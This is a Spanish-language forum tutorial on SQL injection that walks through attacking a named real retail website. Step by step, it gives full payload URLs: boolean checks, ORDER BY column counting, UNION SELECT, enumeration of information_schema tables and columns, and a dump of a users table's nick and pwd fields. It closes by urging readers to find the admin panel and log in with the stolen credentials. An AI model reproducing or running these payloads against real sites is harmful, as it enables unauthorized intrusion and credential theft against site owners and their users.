Título: Sql Injection
Autor: Pilotcast
Nivel: 8
Bueno en este tutorial aprenderemos como obtener datos de una base de datos bien empecemos...
Mostrare un ejemplo real (espero que no este mal Søra).
bershka.com
Bien busquemos una sección vulnerable como seria la siguiente:
bershka.com/coleccion-galeria.php?id=4Bien para comprobar que sea una sección vulnerable utilizamos este query a la DB:
and 1=0--0k0k y para terminar de comprobarlo ponemos el comando:
and 1=1--0k0k aquí en la URL:
*
Nota: Los "+" pueden ser sustituidos por espacios o por su valor hexadecimal: "%20"*
bershka.com/coleccion-galeria.php?id=4+and+1=0-- *
Nota:
¿Ven como la imagen no aparece?* bien ahora sigue poner el otro query:
bershka.com/coleccion-galeria.php?id=4+and+1=1-- ¿Notan como aparece la imagen normalmente?
Bien la pagina es totalmente vulnerable ahora toca sacar el numero de las columnas lo cual seria de la siguiente manera:
iremos probando cuantas columnas con el código
and 1=1 order by 1--si se muestra la web entonces es que tiene una o mas columnas...
bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+1--0k0k se muestra la web entonces tiene una o mas columnas; para probar si tiene 2 columnas se quita el 1 y se pone un 2...
bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+2--Bien!!! tiene mas de 2 columnas... en ocasiones tiene 200 o mas columnas entonces para ahorrarnos tiempo podemos
hacer es probar hasta la columna 15 o 20 y si no nos muestra nada es que nos hemos pasado!!! Pero si aun nos muestra la
página normalmente entonces es que tiene esas o más columnas, por ejemplo de la columna 2 nos cambiamos a la 20 por
decir un número... veamos que pasa:
bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+20--Bien!!! Tiene 20 o mas columnas... pueden ver cuanto tiempo nos evitamos? bueno veamos si tiene 22 columnas:
bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+22--Pues no... Tiene menos de 22 columnas veamos si tiene 21:
bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+21--
No, no tiene 21 columnas y como con el numero 20 si mostro la pagina quiere decir que la
pagina tiene 20 columnas!!! Bueno ahora sigue unir todas las 20 columnas... como???
Bueno en este momento ya cambia la consulta por lo siguiente:
and 1=0 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--Sip cambia el 1 por 0 y la query esta pidiendo lo siguiente:
"union all select": ""unir todo lo seleccionado""
"1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20": ""el numero de columnas de la DB ordenada del 1 al 20""
"--":""es como cerrar un comentario""
Bueno pues si todo sale bien en la imagen nos pone la columna vulnerable y la url seria así:
bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--Bueno aquí nos menciona que la columna vulnerable es la "2" ¿cierto? ya que es el numero que aparece a un lado
de la imagen entonces el código que inyectaremos para saber lo que queremos será sustituyendo el 2 por el código en
Sql como lo hemos echo hasta ahora por ejemplo si queremos saber la versión de la DB seria con el query "version()"
bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--bien como podemos ver nos puso la versión correspondiente ahora algunos comandos que nos
servirán para MySql 5.x.x.x como es "group_concat()" (que significa concatenar grupo) ya que
nos ahorraremos la pena de estar poniendo un limit y ver una por una cada tabla entonces lo que
aremos será poner en la columna 2 el comando y quedaría así:
bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,group_concat(1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--Como vemos abajo nos a puesto un "1" al lado de la cruz en la imagen pero
bueno el query se pude explotar mas!!!

Bueno ahora toca decirle a la web que nos muestre por favor todas las tablas...
como pues con la siguiente query:
bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables--¿Que le pedimos? pues que concatene todo desde information_schema.tables *
Nota: Para esto es el
from para decirle a la DB de que tabla va a agarrar los datos* y como es una imagen para ver todas las tablas
pasamos el ratón sobre la imagen y vemos los comentarios así podemos ver todas las tablas y encontramos una
interesante: "
bstar_users" bueno creo que esta es la buena

*
Nota:
Es importante recordar que si la web nos muestra la tabla en minúsculas o mayúsculas hay que respetarlas porque no
cargara bien si no lo hacemos* ahora vamos a consultar las columnas de la siguiente forma:
bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns+where+table_name=char(98,115,116,97,114,95,117,115,101,114,115)--o tambien mediante el siguiente query
bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.columns+where+table_name=0x62737461725F7573657273--Lo que le pedimos a la web es que concatene las columnas desde las columnas valga la redundancia donde
la tabla es "bstar_users" convertida a ascii... o convertimos el nombre de la tabla a hexadecimal y se le ponemos 0xtablaenhex ¿fácil no? y ¿como la convertimosa ascii? pues con este programa:

tomado de: bio-hack.mforos.com
y a hexadecimal? mas abajo dejo el convertidor

Y nos dará el nombre de las columnas las que nos interesan son: nick, pwd!!! genial ahora solo toca
pedirle a la web que nos de el contenido de ellas... como? pues con la siguiente query:
bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,group_concat(nick,0x3a,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+bstar_users--lo que hicimos fue pedirle a la web que concatene la columna "nick" y la columna "pwd" separando los datos por un ":"
pero convertido a hexadecimal lo que pasa es que ":" en hexa es: "3a" *
Nota: Un excelente convertidor es:
nickciske.com/tools/hex.php* pero tenemos que poner un "0x" antes para que la DB lo reconozca... bien pasamos a
el "from bstar_users" aqui ya sabemos lo que le pedimos...

bien ahí están nuestros tan anhelados datos!!! jejeje solo resta
encontrar el panel de admin para acceder con los datos.
Y eso seria todo de mi parte espero que sea de mucha ayuda... y Søra es un poco tarde pero aquí esta el tutorial que me pediste chaoz...
